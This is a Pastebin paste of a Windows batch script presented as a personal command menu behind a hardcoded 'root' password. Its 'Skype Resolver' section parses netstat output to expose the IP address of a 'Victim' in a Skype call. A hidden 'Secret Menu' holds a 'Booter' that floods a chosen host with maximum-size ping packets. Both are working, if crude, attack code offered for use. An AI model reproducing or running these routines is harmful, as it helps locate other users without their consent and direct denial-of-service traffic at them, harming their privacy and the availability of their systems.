Controller

MY CMD MENU

Dec 5th, 2012
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 4.45 KB | None | 0 0
  1. MY CMD MENU
  2.  
  3. ---------------------------------------------------------------------
  4.  
  5. @echo off
  6. title Welcome %computername%
  7. :login
  8. cls
  9. color A
  10. set /p login=  Password :
  11. IF '%login%' == 'root' GOTO main_menu
  12. IF not '%login%' == 'root' goto loginwrong
  13. :loginwrong
  14. echo You Have Submitted An Invalid Password Press Any Key To Try Again
  15. pause > nul
  16. goto login
  17. :main_menu
  18. cls
  19. color B
  20. echo :::::::::::::::::::::
  21. echo ::    Main Menu    ::
  22. echo :::::::::::::::::::::
  23. echo.
  24. echo  [00] Main Menu
  25. echo  [01] Pinger
  26. echo  [02] Notepad
  27. echo  [03] Open CMD
  28. echo  [04] Skype Resolver
  29. echo  [05] Log Out
  30. set /p var=Command :
  31. IF '%var%' == '00' GOTO main_menu
  32. IF '%var%' == '01' GOTO pinger
  33. IF '%var%' == '02' GOTO note
  34. IF '%var%' == '03' GOTO cmd
  35. IF '%var%' == '04' GOTO skype
  36. IF '%var%' == '05' GOTO logoff
  37. IF '%var%' == '-[' GOTO connect
  38. goto main_menu
  39. :connect
  40. cls
  41. color 1
  42. echo Press Any Key To Login To Corbin@cia.gov
  43. pause > nul
  44. goto hide
  45. :logoff
  46. set /p LOC=msg Are you sure yo want to logg off? (Y/N)
  47. IF '%LOC%' == 'N' GOTO back
  48. IF '%LOC%' == 'Y' GOTO end
  49. IF '%LOC%' == 'n' GOTO back
  50. IF '%LOC%' == 'y' GOTO end
  51. pause
  52. goto main_menu
  53.  
  54. :skype
  55. set param=%~1
  56.  
  57. ::When 0, it will act as an improved version of Netstat.
  58. ::When 1, it will grab Skype IP's.
  59. set skype=1
  60.  
  61. setlocal enabledelayedexpansion
  62.  
  63. ::Used to convert PID to process names.
  64. for /f "tokens=1 delims=" %%A in ('tasklist') do call :PID %%A
  65. echo.
  66. echo Skype Resolver (Must Be sending a File Or In a Call With Victim)
  67. echo.
  68. echo [Program:PID] LocalIP:Port - RemoteIP:Port
  69. echo.
  70. for /f "tokens=1-27 delims=: " %%A in ('netstat -ano') do call :netstat %%A %%B %%C %%D %%E %%F %%G %%H %%I %%J %%K %%L %%M %%N %%O %%P %%Q %%R %%S %%T %%U
  71. if "%param%"=="-log" exit /b
  72. echo.
  73. echo Skype Resolve's Complete Press Any Key To Rever To The Main Menu
  74. pause>nul
  75. goto main_menu
  76.  
  77. :PID
  78. set pid_%2=%1
  79. exit /b
  80.  
  81. :netstat
  82. set type=%1
  83. set srcIP=%2
  84. set srcPort=%3
  85. set dstIP=%4
  86. set dstPort=%5
  87. set state=%6
  88. set pid=%7
  89. set name=!pid_%pid%!
  90.  
  91. ::Filter local connections away.
  92. if "%state%"=="" exit /b
  93. if not "%type%"=="TCP" exit /b
  94. if "%srcIP%"=="Local" exit /b
  95. if "%dstIP%"=="*" exit /b
  96. if "%srcIP%"=="%dstIP%" exit /b
  97. if "%pid%"=="" exit /b
  98.  
  99. if "%dstPort%"=="[" (
  100. set state=LISTENING
  101. set srcPort=%dstIP%
  102. set pid=%9
  103. )
  104. if "%dstPort%"=="[" set name=!pid_%pid%!
  105.  
  106. if "%name%"=="" set name=Unknown
  107.  
  108. ::Skype filter
  109. if "%skype%"=="1" (
  110. if /I not "%name%"=="skype.exe" exit /b
  111. if not "%state%"=="ESTABLISHED" exit /b
  112. if "%dstPort%"=="443" exit /b
  113. if "%dstPort%"=="12350" exit /b)
  114.  
  115. ::Formatting \tabs
  116. set srcPortTab= %srcPort%
  117. set namePidTab=[%name%:%pid%]
  118. set srcIpPortTab=%srcIP%:%srcPort%
  119. set dstIpPortTab=%dstIP%:%dstPort%
  120. set stateTab=%state%
  121. set namePidTab=%namePidTab:~0,20%
  122. set srcIpPortTab=%srcIpPortTab:~0,21%
  123. set dstIpPortTab=%dstIpPortTab:~0,21%
  124. set stateTab=%stateTab:~0,12%
  125. set srcPortTab=%srcPortTab:~-5%
  126.  
  127. if not "%state%"=="LISTENING" echo.%namePidTab% %srcIPPortTab% %dstIPPortTab% %stateTab%
  128. if "%state%"=="LISTENING" echo.%namePidTab% Listening on: %srcPortTab%
  129. exit /b
  130.  
  131.  
  132. :back
  133. goto main_menu
  134.  
  135. :::::::::::::::::::::::::::::
  136. ::::::::PING FUNCTION::::::::
  137. :::::::::::::::::::::::::::::
  138. :pinger
  139. cls
  140. color B
  141. echo  ::::::::::::::::::::::::::::
  142. echo  :: Online/Offline Checker ::  
  143. echo  ::::::::::::::::::::::::::::
  144. set /p host="HOST>"
  145. set /p pings="PINGS>"
  146. set /p bytes="BYTES>"
  147. goto ping1
  148. :ping1
  149. ping %host% -l %bytes% -n %pings%
  150. echo Press Any Key to Continue...
  151. pause > nul
  152. goto main_menu
  153.  
  154. :::::::::::::::::::::::::::::
  155. :::::::::::NOTEPAD:::::::::::
  156. :::::::::::::::::::::::::::::
  157. :note
  158. start %SystemRoot%\system32\notepad.exe
  159. goto main_menu
  160.  
  161. :::::::::::::::::::::::::::::
  162. :::::::::::::CMD:::::::::::::
  163. :::::::::::::::::::::::::::::
  164. :cmd
  165. start %SystemRoot%\System32\cmd.exe
  166. goto main_menu
  167. PAUSE
  168. cls
  169.  
  170. :::::::::::::::::::::::::::::
  171. :::::::::Hidden Menu:::::::::
  172. :::::::::::::::::::::::::::::
  173. :hide
  174. cls
  175. color A
  176. echo :::::::::::::::::::::
  177. echo :::::Secret Menu:::::
  178. echo :::::::::::::::::::::
  179. echo.
  180. echo  [00] Logout
  181. echo  [01] Booter
  182. set /p var=Command :
  183. IF '%var%' == '00' GOTO main_menu
  184. IF '%var%' == '01' GOTO booter
  185. goto hide
  186. :booter
  187. :pinger
  188. cls
  189. color B
  190. echo  ::::::::::::::::::::::::::::
  191. echo  :: Online/Offline Checker ::  
  192. echo  ::::::::::::::::::::::::::::
  193. set /p host="HOST>"
  194. set /p pings="PACKETS>"
  195. goto ping1
  196. :ping1
  197. ping %host% -l 65500 -n %pings%
  198. echo Press Any Key to Continue...
  199. pause > nul
  200. goto main_menu
  201.  
  202. :end
Advertisement
Add Comment
Please, Sign In to add comment